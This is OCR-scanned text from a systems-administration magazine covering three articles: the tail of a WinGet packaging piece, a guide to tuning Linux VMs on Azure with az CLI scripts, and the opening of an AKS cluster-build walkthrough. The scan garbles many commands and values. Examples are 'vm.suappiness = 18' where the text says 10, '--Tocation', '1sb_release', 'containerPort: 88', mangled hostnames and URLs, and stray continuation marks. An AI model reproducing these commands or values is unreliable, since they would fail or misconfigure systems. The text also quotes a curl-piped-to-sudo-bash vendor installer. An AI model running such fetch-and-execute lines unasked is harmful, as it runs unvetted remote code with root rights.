path to your solution or project file and the
desired build configuration:

devenv C:\Users\<uindouws-user>\source\2
repos\FiclSetup\FiclSetup.sin 2
/Rebuild "Debug"

The result of this command is an MSI execut-
able installer file.

File System (HelloSetup1) & x
_g_fﬂ_e_é\.:s_r_em on Target Machine
3 Application Folder

23 User's Desktop
3 User's Programs Menu

4 Installed

Sort by: Most Recent =

s Microsoft Visual Studio Installer Projects 2022

This official Microsoft extension provides support for Vis

contributor license agreement (CLA)
to verify your sharing rights, so en-
sure these details are met during this
testing phase. For additional informa-
tion, visit the CLA page for WinGet
package contributions [4].

Public Publishing

To submit your package officially,
repeat the steps enumerated earlier,
except that in this command series,
you fork the winget-pkgs repository
[5]. As noted earlier, ensure that you
are following the CLA.

Publish Privately

Winget.Pro [6] is a commercial,
professional, software-as-a-service
(SaaS)-like solution for creating pri-
vate repositories to host packages,
which aids enterprises and software
developers aiming to reach specific
customers [7]. The web or SaaS-like
solution provides a simple, straight-
to-the-point web user interface (UTI)
to manage the details maintained in
YAML files previously highlighted.
To begin with winget.Pro, sign up at
the main website. After registering,
your homepage will contain the com-
mands you need to organize your
repository. You’ll receive a unique
GUID for your admin account to
identify your repository. To set up,
access the web console at https://
api.winget.pro/admin. Custom pack-
age registration requires two main
steps: naming your package and de-
fining its version in the Admin web
UI (Figure 3) where you define the
Version information, including the
version number (be sure to match
what you include in the version

of the installer or setup.exe), the
processor Architecture (e.g., x64),

Disable
Studio Installer Projects in Visual Studio 2022,
" Uninstall

Figure 2: The user interface for developing a software installer in Microsoft Visual Studio with the Installer Projects extension.
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and the Type of installer. Supported
installers include EXE, ZIP, MSI, and
PORTABLE. Next, proceed to upload
the MSI installer.

Alternatively, you can provide the
URL for the installer or setup pro-
gram. In this case, you must specify
the SHA-256 hash value. The WinGet
CLI includes a hash command to gen-
erate this hash value for you.

From the Windows client context, add
the new private repo:

winget source add -n api.uwinget.pro 2
-3 |https://api.uinget.pro/36b4435b
[4066-425f-83fd-f8db7e4628a3] 2

-t "Microsoft.Rest"

Note that you must be an admin to
run this command. Later, to confirm
or check package sourcing, use

winget source list
Once the above setup is complete,

you can search, install, and update
packages from your private repo.

WinGet TOOLS .

WinGet in the Enterprise

Microsoft Intune further enhances
software distribution and manage-
ment across enterprises by integrating
with Windows Package Manager, thus
streamlining the application deploy-
ment process. This improvement en-
ables Intune to handle various pack-
age types, including EXE, MSI, APPX,
and MSIX files, which allows you to
find, configure, and manage applica-
tions efficiently.

The enhanced Intune cloud platform
offers an improved admin center
with advanced search capabilities for
Microsoft Store apps, facilitating a
smoother and more efficient manage-
ment workflow. This development
signifies a strategic move toward a
more centralized and streamlined
approach for managing and deploy-
ing Windows applications through
Intune with the use of WinGet tech-
nology as one option to install apps
and manage app lifecycles. For more
information, check out the Microsoft

Home Winget Ficl 1.2.0
Package
Installers
Installer: Ficl 1.2.0 x86
tectul
SCOF
ype
Either upload a file..
File: Currently

Change

... or supply a file URL and SHA-256:

URL

Sha256 54fe521483a0¢

Irestaller switches (Show)

Choose File | No file chosen

Figure 3: The package installer is defined on the winget.Pro Versions page.
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Mechanics episode on updates to
Windows app management in Intune
with WinGet [8].

Conclusion

The evolution of package manage-
ment within the Windows ecosystem
has reached another milestone with
the introduction of WinGet. As de-
tailed in this article, WinGet is a testa-
ment to this journey. It has expanded
its functionalities to encompass inte-
grations with partner services, includ-
ing cloud enterprise solutions such as
Intune, further enhancing its utility
and adoption. [ |

Info

[1] WinGet: [https://winget.ruf]

[2] Article scripts and other source code
artifacts: [https://github.com/krwittmer/
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winget-pkgs-submission-test]

[4] Microsoft CLA: [https://aithub.com/
microsoft/winget-pkgs-submission-test/
blob/master/CODE_OF CONDUCT.md]
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[pttps://qgithub.com/microsoft,
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[8] Updates to Windows App management
in Intune with WinGet:
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t5/microsoft-mechanics-blog/updates-toy
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winget/ba-p/3685406
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Optimize and manage Linux-based Azure VMs

Mastery

Optimize Azure VMs on Linux

Master advanced configuration techniques for Azure virtual machines on Linux with a focus on optimizing
performance by applying system tweaks, managing storage solutions, and automating monitoring tasks.
By Marcin Gastol

In the realm of cloud computing, the
performance of your virtual machines
(VMs) directly affects the efficiency,
reliability, and cost-effectiveness of
your services, especially in Microsoft
Azure, where Linux VMs are often
deployed to run various applications
- from web services to data process-
ing tasks. System optimization for
Azure VMs running Linux is not just
a routine task; it’s a critical endeavor
that ensures your workloads perform
optimally, making the best use of re-
sources while controlling costs.

Assessing System
Performance

In the pursuit of optimizing Azure
VMs on Linu, it is essential to grasp
and utilize the correct tools and met-
rics to assess system performance
effectively. These tools are pivotal in
pinpointing performance bottlenecks
and are integral to the ongoing pro-
cess of monitoring and adjustment.
Azure Monitor stands out as a ro-
bust built-in service within Azure
for gathering, analyzing, and acting
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on telemetry data from Azure and
on-premises environments. It offers
a comprehensive suite of metrics
and logs, facilitating a deep under-
standing of application and resource
behavior on Azure. Features such as
alert setups, metric visualization in
dashboards, and detailed analyses are
invaluable for pinpointing optimiza-
tion opportunities.

For Unix systems, interactive process
viewers like the more traditional
tool, top, and htop, known for its
user-friendly interface and additional
functionalities like vertical and hori-
zontal scrolling, are essential for real-
time monitoring of system resources
such as CPU, memory, and process
management.

The vmstat command is another
vital tool, offering snapshots of pro-
cesses, memory, paging, block I/0,
traps, and CPU activity. This tool is
especially useful for real-time system
monitoring, providing essential data
on the system’s key resources and
performance.

When it comes to analyzing disk
I/0 performance, iostat is the

preferred tool, delivering detailed
statistics on disk reads and writes,
which are crucial for identifying
storage-related performance bottle-
necks. Additionally, sar from the
sysstat package is excellent for col-
lecting, reporting, and saving sys-
tem activity information, which aids
in historical data analysis to spot
trends and potential issues.

For those looking to automate the col-
lection and analysis of performance
data, the Azure command-line inter-
face (CLI) and PowerShell cmdlets
are indispensable. These tools fa-
cilitate the management of resources
and the application of optimizations
programmatically.

In terms of key metrics, CPU utili-
zation is a significant indicator of
whether a VM is underprovisioned
or facing high demand, which can
inform decisions on VM size adjust-
ments or load balancing. Memory
utilization is also crucial; excessive
memory pressure can severely de-
grade performance, making it vital
to ensure that applications have suf-
ficient RAM.
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Disk I/O metrics, such as read-write
speeds and operations per second
(IOPS), are critical for storage-inten-
sive applications and can indicate
when disk configuration changes

are necessary. Monitoring network
throughput and latency is essential
for identifying networking issues that
could affect performance or user ex-
perience. Additionally, keeping track
of the number of running and blocked
processes helps gauge how effectively
the system is managing its workload.
By leveraging these tools and metrics,
system administrators can obtain a
thorough understanding of the perfor-
mance of their Azure VMs on Linux.
This knowledge is not only crucial for
current system optimizations but also
positions the VMs for future scalabil-
ity and efficiency enhancements.

Azure CLI for Custom
Monitoring Scripts

To begin automating your monitor-
ing tasks, you first need to install and
configure Azure CLI to communicate
with your Azure account. Once set
up, you can use the script in Listing 1
to retrieve and log CPU and memory
metrics for a specified VM. This
script:

B defines the resource group and VM
name for which you’re collecting
metrics,

B sets the time range for the metrics
to the last hour,

B uses az monitor metrics list to
fetch CPU and memory utilization
metrics, and

B logs the fetched metrics to a file
named vm_metrics_log. txt.

Be sure to modify the <YourResource-

GroupName>, <YourVMName>, and <Your-

SubscriptionID> placeholders with

your actual Azure resource group

name, VM name, and subscription

ID. For memory metrics, ensure you

have a mechanism in place (e.g., the

Azure Diagnostics extension or cus-

tom monitoring solutions) to report

memory usage, because Azure Moni-
tor does not provide this service by
default for VMs. Schedule this script
to run at your desired frequency
with cron jobs (for Linux) or Task
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Scheduler (for
Windows) to auto-
mate the monitor-
ing process.

This script pro-
vides a basic
framework for
automating the
collection of per-
formance metrics
with the Azure
CLI. It can be ex-
tended or modified
on the basis of
specific monitor-
ing needs, such
as incorporating
additional met-
rics, adjusting

the time range, or
integrating with
alerting mecha-
nisms for real-time
notification.

Modifying VM
Settings

Optimizing your
Azure VMs for
better CPU and
memory utiliza-
tion involves not
just monitoring

and analysis, but also knowing how
to apply configurations effectively.
For Linux VMs on Azure, many op-
timizations can be done from the
command line, leveraging tools like
Azure CLI for VM resizing and Linux
commands for in-system adjust-
ments. The following practical ex-
amples demonstrate how to modify
VM settings for optimization.

If analysis indicates that your VM
needs resizing to better fit its work-
load, you can use the Azure CLI to

adjust its size:

az login
az vm list-sizes 2

--Tocation <YourRegion> 2

--output table
az vm resize 2

--resource-group <YourResourceGroupName> 2
--name <YourVMName> 2

--size <NewVMSize>

. Listing 1: Retrieve and Log Metrics

#!/bin/bash
# Define variables
resourceGroupName="<YourResourceGroupName>"
vmName="<YourVMName>"
dateTimeNou=$(date --utc +%Y-%m-%dT%H:%M:%SZ)
dateTimeStart=$(date --utc --date='1 hour ago' +%Y-%m-%dT%H:%M:%5Z)
# Fetch CPU Utilization Metrics
cpuMetrics=$(az monitor metrics list
--resource "/subscriptions/<YourSubscriptionID>/resourceGroups/
$resourceGroupName/providers/Microsoft.Compute/virtualMachines/$vmName
--metric "<name of metric depends on system>"
--start-time $dateTimeStart
--end-time $dateTimeNou
--interval PTIM
--output table)

# Fetch Memory Utilization Metrics
# Note: example assumes you have set up custom metrics for memory or are
using a VM extension like Diagnostics extension to collect memory metrics.
memoryMetrics=$(az monitor metrics list

--resource "/subscriptions/<YourSubscriptionID>/resourceGroups/

$resourceGroupName/providers/Microsoft.Compute/virtualMachines/$vmName

--metric "<name of metric depends on system>"

--start-time $dateTimeStart

--end-time $dateTimeNou

--interval PTIM

--output table)

# Log the metrics to a file

echo "CPU Metrics for $vmName:" >> vm_metrics_log.txt
echo "$cpuMetrics” >> vm_metrics_log.txt

echo "Memory Metrics for $vmName:" >> vm_metrics_log.txt
echo "$memoryMetrics" >> vm_metrics_log.txt

echo "Metrics logged to vm_metrics_log.txt"

With these three lines, you log in to
your Azure account through the CLI
and, before resizing, check which
sizes are available in your VM’s re-
gion (replace <YourRegion> with the
location of your VM, e.g., eastus).
Once you’ve chosen a suitable size,
you resize your VM (replace the
placeholders with your resource
group name, VM name, and the
desired new VM size). This com-
mand changes the VM’s size, thereby
adjusting its CPU and memory
according to the chosen VM size
specification.

Linux systems offer parameters that
can be tweaked to optimize memory
usage. For example, adjusting the
vi.swappiness parameter can control
swap usage. The swappiness pa-
rameter ranges from 0 to 100, where
a lower value reduces swap usage,
which might be desirable for certain
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memory-intensive applications. To
check and change your swappiness
value, enter:

sysctl vm.suappiness
sudo sysctl vm.suappiness=10

The last command sets the swappi-
ness to 10, indicating a lower ten-
dency to use swap. For a permanent
change, add vm.suappiness = 18 to the
/etc/sysctl.conf file.

CPU affinity specifies the set of CPU
cores on which a process can run.
Adjusting CPU affinity can help in
managing CPU loads and optimizing
performance:

pidof nginx
sudo taskset -cp 8 <PID>

To begin, you find the PID of the
process you want to adjust (in this
example, NGINX). Next, you use the
taskset command to set the CPU af-
finity (replace <PID> with the process
ID you found from the previous com-
mand). In this case, NGINX is set to
run only on the first core (core 0).
These command-line examples pro-
vide a foundation for applying CPU
and memory optimizations to your
Azure VMs running Linux. Although
direct modifications through the
Azure CLI affect the VM’s allocated
resources, in-system adjustments al-
low for finer control over how those
resources are used. Combining these
approaches can lead to a well-opti-
mized environment, balancing perfor-
mance and cost efficiency.

Advanced Storage
Management

Azure VMs offer a variety of stor-
age options to cater to the diverse
needs of applications, ranging from
high I/0 throughput requirements
to cost-effective storage solutions.
Selecting the appropriate storage
type and configuration is pivotal in
optimizing performance and cost.

In this section, I explore the differ-
ences between hard and solid-state
disk (HDD and SSD) storage options,
Premium versus Standard disks, and

ADMIN 81

. CONTAINERS AND VIRTUALIZATION Optimize Azure VMs on Linux

the effect of disk caching settings on
performance.

Hard disk storage is a cost-effective
solution suitable for scenarios in
which high I/0 performance is not
critical. Azure offers a Standard HDD
disk type that is ideal for develop-
ment and test environments, backup,
and non-critical applications. The
main advantages of HDDs are their
lower cost and options for higher ca-
pacity, making them suitable for bulk
storage needs, where access speed is
less of a concern.

SSD storage provides high I/0
throughput and low latency, which

is essential for performance-sensitive
applications. Azure categorizes SSD
storage into two types: Standard SSD
and Premium SSD. Standard SSD is

a step up from HDD, offering better
performance and reliability. Stan-
dard SSD is suitable for web servers,
lightly used enterprise applications,
and development environments
where moderate I/O performance is
sufficient.

Premium SSD is designed for I/0-
intensive applications and offers high
throughput and low latency, with
support for more IOPS and higher
throughput than the Standard SSD
type. Use cases include databases, data
analytics, and high-performance com-
puting applications that require consis-
tent high-speed access to storage.

Disk Caching for
Performance

Disk caching is a technique that
stores data temporarily in faster
storage to improve read and write
performance. In Azure VMs, you can
configure caching policies on your
disks at the level of the individual
disk attached to the VM. You have the
choice of three caching options:

B None disables caching and is suit-
able for disks that host data chang-
ing frequently, minimizing the
risk of data loss in transactional
applications.

B ReadOnly caches read data only
and is ideal for scenarios in which
applications perform many more
read than write operations, such

as boot volumes and read-heavy
databases.

B ReadWrite caches both read and
write operations and is optimal for
scenarios with balanced read and
write operations, providing a boost
in performance for temporary data
and scenarios in which data dura-
bility is less critical.

Choosing the right caching policy

depends on the application workload

characteristics. For example, Premium

SSDs with ReadWrite caching are ideal

for performance-sensitive applications

requiring fast write operations. Con-
versely, Standard SSDs with ReadOnly
caching can significantly improve read
performance for less I/0 intensive ap-
plications at a lower cost.

The following best practices should

be applied to caching.

1. Assess workload requirements.
Analyze your application’s perfor-
mance needs by monitoring disk I/
O metrics. Azure Monitor can help
identify the optimal disk type and
caching settings.

2. Balance performance with cost.
Evaluate whether the performance
benefits of Premium SSDs justify
the additional cost according to
your application needs.

3. Regularly review storage perfor-
mance. Workload patterns can
change, necessitating adjustments
to storage configurations. Regularly
reviewing and adjusting disk types
and caching settings can ensure
ongoing optimization of perfor-
mance and cost.

By understanding the distinctions

between Azure’s storage options and

judiciously configuring disk types and
caching settings, you can significantly
enhance VM performance tailored to

the specific needs of your applications.

This strategic approach to storage

management underpins efficient and

cost-effective Azure VM operations.

Additional Storage

Expanding your Azure VM’s storage
capacity by attaching additional disks
is a common task for accommodat-
ing growing data needs or optimiz-
ing performance. This process can
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[bg seamlessly managed through the
Azure CLI, providing a flexible and
scriptable way to adjust your VM’s
storage configuration.

To attach additional storage disks
from the Azure CLI (Listing 2), cre-
ate and attach a new disk. Be sure to
replace the placeholders with your
resource group name, the name for
the new disk, disk size (GB), disk
type (e.g., Standard_LRS, Premium_LRS),
Azure region, and VM name. After
attaching the disk to your Linux VM,
log in to initialize, partition, and for-
mat the disk. Begin by identifying the
new disk (e.g., /dev/sdc) with 1sb1k
or fdisk and follow the interactive
prompts to create a new partition.
Format the partition with your chosen
filesystem (e.g., ext4). Next, create a
mount point and mount the disk. To
ensure the disk mounts automatically
on reboot, add an entry to /etc/fstab.
To follow best practices for disk parti-
tioning and filesystem optimization:

What?!
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B Be certain to choose the correct
filesystem. For Linux VMs, ext4
is widely used because of its
reliability and support for large
filesystems. However, for specific
use cases (e.g., when dealing with
large files or databases), XFS could
offer performance benefits.

B Ensure partitions are properly
aligned and select an appropri-
ate block size for your filesystem
to optimize disk I/O. Misalign-
ment can lead to suboptimal disk
performance.

B Keep your operating system and
application data on separate disks.
This separation enhances perfor-
mance and simplifies backup and
TeCOoVery processes.

B Use tools like iostat to monitor
disk I/O performance and keep
an eye on metrics such as IOPS,
throughput, and latency to identify
potential bottlenecks or opportuni-
ties for[optimization)

Listing 2: Adding Storage

# Create a new managed disk
az disk create
--resource-group <ResourceGroupName>
--name <DiskName>
--size-gb <Size>
--sku <DiskType>

--Tocation <Location>

# Attach the created disk to a VM

az vm disk attach

N

--vm-name <VMName>
--resource-group <ResourceGroupName>

--disk <DiskName>

# Partition and format the disk
sudo fdisk /dev/sdc
sudo mkfs.ext4 /dev/sdcl

# Create a mountpoint and mount the disk
sudo mkdir /mnt/data
sudo mount /dev/sdcl /mnt/data
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B Leverage disk caching appropri-
ately on the basis of your ap-
plication’s read/write patterns to
optimize performance. Be mindful
of the potential for data loss with
write caching in the event of a
failure.

B Use Azure managed disks to
simplify the handling of storage
account management behind the
scenes, offering high availability
and supporting encryption at rest.

Automating Backup and
Recovery

Effective disaster recovery strategies
are essential for maintaining the resil-
ience and availability of IT systems,
especially in cloud environments like
Azure. Automating the backup and
recovery processes from the Azure
CLI not only streamlines these tasks

. Listing 3: Restoring Data

#!/bin/bash

# Variables
resourceGroup="YourResourceGroup'
snapshotName="YourSnapshotName'
neuDiskName="RestoredDiskName'
vmName="YourVMName'

# Create a disk from a snapshot
az disk create
--resource-group $resourceGroup
--name $newDiskName
--source $snapshotName
--sku Standard_LRS

# Detach the old disk and attach the new disk to the VM
az vm disk detach

--resource-group $resourceGroup

--vm-name $vmName

--name 01dDiskName

vm disk attach

--resource-group $resourceGroup

--vm-name $vmName

d

N

--name $neuDiskName
echo "VM restored successfully from snapshot!"
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but also ensures that they are consis-
tently executed, minimizing the risk of
data loss. In this section, I talk about
how to set up automated snapshots
and backups of VM disks and script
recovery processes, and I highlight
best practices for managing backup
frequency and storage locations.
Automating the creation of snapshots
and backups can be accomplished
by scheduling Azure CLI commands
to run at regular intervals, ensuring
that your data is consistently backed
up without manual intervention. The
following script can be scheduled to
run with cron jobs on a Linux server
or with Task Scheduler in Windows,
ensuring that snapshots are taken at
regular intervals:

#!/bin/bash

# Variables

resourceGroup="YourResourceGroup'

diskName="YourDiskName'

snapshotName="YourSnapshotName'

# Create a snapshot

az snapshot create 2
--resource-group $resourceGroup 2
--name $snapshotName --source $diskName 2
--sku Standard_LRS

echo "Snapshot created successfully!"

To minimize downtime in the event of
data loss or corruption, it’s crucial to
have a script ready for quick restora-
tion of data from backups or snap-
shots. The script in Listing 3 quickly
restores a VM by creating a new disk
from a snapshot and swapping the
old disk with the new one.

Best practices for managing backup
frequency is determined by how criti-
cal the data is considered. For criti-
cal data, consider daily backups or
more frequent snapshots if the data
changes rapidly. On the other hand,
weekly or monthly backups may

be sufficient for data that does not

change frequently or is not critical to

business operations.

Automating backup frequency should

align with the importance of the data

and the business’s tolerance for data
loss (the recovery point objective).

1. Geographic redundancy, wherein
you store backups in a region differ-
ent from your primary data, protects
against regional outages.

2. Access controls ensure that the stor-
age account is secure and that access
permissions are strictly controlled to
prevent unauthorized access.

3. Monitoring and alerts for the
backup processes notify administra-
tors of any failures or issues. Azure
Monitor can be used to track the
status and health of backup tasks.

4. Regular testing of recovery proce-
dures ensures that they work as ex-
pected. This testing should be part
of an overall disaster recovery plan.

Conclusion

Throughout this article, I have ex-
plored advanced techniques for opti-
mizing and managing Azure VMs on
Linux, covering system and network
performance tuning, sophisticated
storage management with RAID con-
figurations, and backup processes
from the Azure CLI. These strategies
are designed to enhance performance,
ensure data integrity, and improve
operational efficiency. [ |
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Automated Azure Kubernetes Service cluster builds

Automatic

Construct Kubernetes clusters from the Azure CLIin a consistent and
predictable manner across every environment. sy chris Binnie

In the list of the managed Kuber-
netes solutions that dominate the
market, the usual suspects are pres-
ent, operated by the most popular
cloud platforms: Google Kubernetes
Engine (GKE), AWS Elastic Kuber-
netes Service (EKS), and Azure Ku-
bernetes Service (AKS).

When you put Kubernetes through its
paces in production environments,
it’s critical that you understand the
nuances of your infrastructure to
achieve high levels of uptime. When
testing Kubernetes and its associated
workloads in a laboratory setup, you
must emulate your production work-
loads precisely so that you can ensure
the ability to scale to cope with both
predictable and unexpected increases
in demand.

In this article I create an AKS cluster
in Azure with the platform-provided
command-line tool az, which is often
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referred to as the Azure command-
line interface (CLI) tool. With a pro-
grammatic approach, you should be
able to create clusters that follow a
consistent and repeatable structure
and configuration. You can then repli-
cate production workloads in which-
ever environments required. The
commands I demonstrate for the end-
to-end deployment workflow could
easily be added to scripts to automate
the process fully.

Of course, you have a few ways

of achieving the same result - for
example, the user interface (UI) or
logging in to the UI and then taking
advantage of the graphical interface
(i.e., the Cloud Shell). Instead, I'll use
a much more portable approach with
the CLI binary provided by Microsoft
to interact with the cloud platform.
Incidentally, in true cloud-native
style, you can run the binary from a

Docker container, as per the official
instructions [1]1, which could speed
up deployments in environments that
use continuous integration, continu-
ous deployment (CI/CD) pipelines.

Ones and Zeros

The first step is to make sure the
az CLI tool is available on your sys-
tem. I'm using Ubuntu Linux 22.04
(Jammy Jellyfish) for reference.
The installation instructions I skip
through can be found online [2].
Proceed as the root user to get the
correct permissions for the task in
hand.

I chose the lengthier install method,
not the one-liner with curl:

$ curl 2

-sL [https: //aka.ns/InstalTAzureClT0eb]| 2

sudo bash

The more complex route starts with
a package update and then installs a
few packages with the apt command:

$ apt-get update

$ apt-get install ca-certificates curl 2
apt-transport-https 1sb-release gnupg

Unpacking apt-transport-https (2.4.11) ...

Setting up apt-transport-https (2.4.11) ...
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Most of the packages shown in the sec-
ond command were present on my ma-
chine already, so only one was installed.
Next, you need to trust the Microsoft
signing key. To begin, you check that
a keyrings directory exists and create
it if it’s not already there:

$ mkdir -p /etc/apt/keyrings

Next, pull down the key from
Microsoft and run it through the GNU
Privacy Guard (gpg tool), making sure
it has the correct permissions:

$ curl 2
-sLS https://packages.microsoft.cony/?

keys/microsoft.asc | gpg --dearmor | 2
tee /etc/apt/keyrings/microsoft.gpg > 2
/dev/null

$ chmod go+r 2
/etc/apt/keyrings/microsoft.gpg

If I do a directory listing on the key-
rings directory, I see the GPG file
with the following permissions,

$ 1s -al /etc/apt/keyrings/
-ru-r--r-- 1 root root 641 Dec 9 89:11 2

microsoft.gpg

which means only the root user can
read and write to the file.

The next step sets up the correct Apt
package repository entry, which is
ideal for security updates, new fea-
tures, and stability because new ver-
sions will automatically get pulled in
by Apt when they become available.
For Debian Linux derivatives (e.g.,
Ubuntu Linux), use:

$ AZ_DIST=$(1sb_release -cs)
$ echo 2
"deb [arch="dpkg --print-architecture™ 2
signed-by=/etc/apt/keyrings/2
microsoft.gpg] 2

[htEps://packages.microsoft.com/repos/
azure-cli/ $AZ_DIST main" | 2
tee /etc/apt/sources.list.d/azure-cli.list
deb [arch=amdé4 signed-by=2
/etc/apt/keyrings/microsoft.gpg] 2

|https://packages.microsoft.com/2

repos/azure-cli/ jammy main

Finally, you are ready to install the
tool after a package update, which
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pulls in new packages from the
freshly installed repository:

$ apt update
Get: 2|https://packages.microsoft.com/2

[repos/azure-c1i jammy InRelease| 2
[3,595 B]
Get: 3 https://packages.microsoft.com/2

[repos/azure-cTi jammy/main amdé4 2
Packages [1,242 B]

Lo and behold, around 65MB of
data is installed after running the
command:

$ apt install azure-cli

To check that it worked, run:

$ az --help

Perfect! You are set. One more quick
thing is to make sure you know the

version, in case it’s needed later:

$ az --version

azure-cli 2.55.8
core 2.55.8
telemetry 1.1.8

The abbreviated output offers insight
to the versions you’re running. Look
for the comment Your CLI is up-to-
date in the output for reassurance.

If that command isn’t offering reas-
surance about the version, then run:
$ az upgrade

The output from that command of-

fers the advice that you can set az to

auto-upgrade (which could be very
useful when you are not using the
package manager version) with the
command:

$ az config set auto-upgrade.enable=yes

It might be prudent to set this up if
you are running the CLI tool from a
custom Docker image you have built
yourself (e.g., to customize the pre-
built container image from Microsoft
further). You should bear in mind

that package manager versions are, at
best, a few iterations behind the very

latest version, so you might not be
able to upgrade (the version may be
put on “hold” by the package man-
ager installation).

Check In

Now you just need to authenticate
with Azure and the CLI binary.
Run this simple command in your
terminal:

$ az login
To sign in, use a web brouser to open the 2

page ht¥ps://microsoft. com/deviceloqin 2
and enter the code GY2PXXXX 2
to authenticate.

Enter your details in the browser when
prompted and prepare to be amazed
at how quickly you can authenticate
to the cloud platform. (I do this as the
chris user, not the root user, to limit
the permissions used on my laptop.)
Next, agree to the pop-up in your
browser that asks if you are authen-
ticating from the Azure CLI. You
should then receive a you are signed
in message or something similar.
Once successful, you’ll receive a non-
redacted response in your terminal
(e.g., Listing 1).

On Your Marks

The next thing to complete on the
cloud platform with regard to the AKS
infrastructure is to create a resource
group, which allows you to organize

. Listing 1: Authenticating with Azure

[
{

"cloudName": "AzureCloud",

"homeTenantId": "<redacted>",
"id": "<redacted>",
"isDefault": true,
"managedByTenants": [],
"name": "Paid For Sub",
"state": "Enabled",
"tenantId": "<redacted>",

“user": {
"name": "<email-address>",
"type": "user"

3

3
]
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multiple resources sanely in one place
for ease of management.
The steps for the command

$ az group create --name testRKS 2
--location eastus

can be verified in the Azure UL If
you are new to either Azure or Ku-
bernetes, I would recommend having
your browser open to check for vari-
ous changes you make, so you can
become familiar with the terminology
and processes.

I use the Eastern US region in Azure
for resources and call the resource
group testAKS. If you are copying
and pasting commands verbatim,
note that the resource group name
is important for tidying up later.
The welcome response received is
shown in Listing 2.

Checking the UI opened up in your
browser, you should see that after

a quick page refresh, the resource
group is indeed present and in the
correct location. Optionally, you
might need to monitor the container
orchestrator closely (see the “Watch-
ing the Watcher” box).

Cut to the Chase

You are now finally ready to create
your AKS cluster. Note that when you
run the lengthy command that follows,
another resource group is created.

. Listing 2: Creating a Resource Group

{

"id": "/subscriptions/<redacted>/resourceGroups/
testAKS",

"location": "eastus",

"managedBy": null,

"name": "testAKS",

"properties": {

“"provisioningState": “"Succeeded"

h

"tags": null,

"type": "Microsoft.Resources/resourceGroups"

3

. Listing 3: SSH Keys Advice
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You’ll find more information about this
in the documentation [5]. In essence,
the second group deals with the node
configurations and their associated re-
sources within the AKS cluster, which
are the virtual machines (the equiva-
lent of EC2 instances in AWS terms),
networking settings, and the required
storage settings.

This second resource group will (un-
less you specify it) be formed by a
naming convention like MC_testAKS_
testCluster_eastus. The first resource
group created earlier was just for the
Kubernetes service itself, along with
the control plane that Azure looks
after for you, which is probably the
most useful benefit of a managed
Kubernetes service.

The complex control plane infrastruc-
ture is abstracted away from the user
entirely, so you can spend your time
tuning your workloads instead of the
engine powering them. Even with
that assistance, it’s important to pay
attention to all the resources you have
created, so you can delete them af-
terward to reduce any ongoing costly
billing charges.

Now that the potentially confusing
quirk of a second resource group has
been cleared up, you can create your
managed Kubernetes cluster:

“

az aks create --resource-group testAKS 2
--name testCluster --node-count 1 2
--enable-addons monitoring 2
--generate-ssh-keys

Note the resource group name and
the cluster name (testCluster). In
this example, I'm just creating Kuber-
netes with a single node to save costs
while testing. As mentioned a little
earlier, if you get a subscription error
with this command, drop the --en-
able-addons monitoring option.

The initial output from the magic aks
create command (Listing 3) means
you should move your SSH keys out
of the default location.

SSH key files '/home/chris/.ssh/id_rsa' and '/home/chris/.ssh/id_rsa.pub' have been generated under
~/.ssh to allow SSH access to the VM. If using machines without permanent storage like Azure Cloud
Shell without an attached file share, back up your keys to a safe location

Although it would definitely have been
nice to have a warning before deleting
or moving my existing SSH keys (keys
with that default file name might have
been overwritten or moved), at least
the advice is welcome.

A modicum of patience is required at
this stage. Put the kettle on and walk
the dog because Running .. continues
to show the deployment’s progress for
a few minutes, along with comments
such as:

Resource provider 2
'Microsoft.ContainerService' used by 2

Watching the Watcher

To monitor containers in an AKS cluster,
enable operations management and opera-
tions insights from Microsoft, by running the
commands

$ az provider register --namespace 2
Microsoft.OperationsManagement

$ az provider register --namespace 2
Microsoft.OperationalInsights

from your authenticated CLI tool. The output
of both commands is blank but completes
without error.

To check the status, run:

$ az provider shou 2

-n Microsoft.OperationsManagement
$ az provider show 2

-n Microsoft.0OperationalInsights

The two show commands offer a heap of
lengthy JSON output. Sift through it and look
for lines such as

"registrationState": "Registered"

to denote success. Note that you can also
receive CPU utilization and other metrics
from your nodes and containers by enabling
the container insights functionality [3]. |
do this in the next section with the --en-
able-addons monitoring switch, which
again is optional. Do not use that switch in
the next section if you don't need it.

If you receive an error in the next section
when creating your cluster (the error relates
to the subscription not being registered

to use namespace microsoft.insights), you
can check online [4] for help, or just drop
the --enable-addons menitoring option
in the az create command and continue
without it.

50 ADMIN 81

[WWW.ADMIN-MAGAZINE.COM



http://WWW.ADMIN-MAGAZINE.COM

Automated AKS Builds

CONTAINERS AND VIRTUALIZATION

Listing 4: kubect1 Install Process

DounToading client to "/usr/local/bin/kubecti” from [’

Please ensure that the directory /usr/local/bin is in your search PATH, so the “kubectl™ command can be found

this operation is not registered. 2
We are registering for you.
Registration succeeded.

Success is indicated by multiple
useful lines of JSON output of-
fering the cluster’s configuration
parameters. When the command
has completed, check again within
the Azure Ul (by searching for aks
in the search box) to see if the new
cluster exists.

The JSON includes data such as the
public SSH key being pushed up to the
cluster nodes, the Kubernetes version
(1.27.7 here), and the node operating
system (Ubuntu Linux in this case).

Disconnected

When your cluster is built, you need
to connect to it with the kubect! tool.
The slightly obscure command

$ az aks install-cli

installs the kubect! binary and the
requisite settings to your system, so
you can interact with your cluster in
the usual way with Kubernetes. You
may need to be the root user (List-
ing 4) if you want to install it to the
path /usr/local/bin/kubectl. The
process takes a little time and men-
tions the path.

chris@Xeo:~S$

chris@ﬁ(eo:

To check that kubectl worked (I
moved back to the chris user again),
use the command

$ kubectl --help

and expect lots of output again to
denote success.

Lemme In

You are now ready to authenticate
with and connect to your shiny new
AKS cluster (or, of course, anyone
could manipulate it):

$ az aks get-credentials 2
--resource-group testAKS 2
--name testCluster

Merged "testCluster" as current context 2
in /home/chris/.kube/config

The response looks promising, so
use kubectl to check what the clus-
ter is running, in terms of pods and
workloads:

$ kubectl get pods -A

The output shows a busy cluster run-
ning lots of pods in the kube-system
namespace, as expected (Figure 1).
You have successfully interacted with
your Kubernetes cluster on Azure.

A quick check of the nodes displays

Figure 1: Pods running by default in all available namespaces in the AKS cluster.
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. Listing 5: Trusty nginx Deployment

apiVersion: apps/vl
kind: Deployment
metadata:
name: nginx-deployment
spec:
selector:
matchLabels:
app: nginx
replicas: 2
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.2
ports:
- containerPort: 88

extended output this time (i.e., -0
wide):

$ kubect] get nodes -o wide

The redacted output includes one
node and some metrics, such as:

aks-nodepool1-39945963-vnss000060 2

agent 14m v1.27.7 10.224.8.4 2
<none> Ubuntu 22.084.3 LTS 2
5.15.8-10851-azure  containerd://1.7.5-1

Ready

You can see an internal IP address,
the version of the Ubuntu Linux
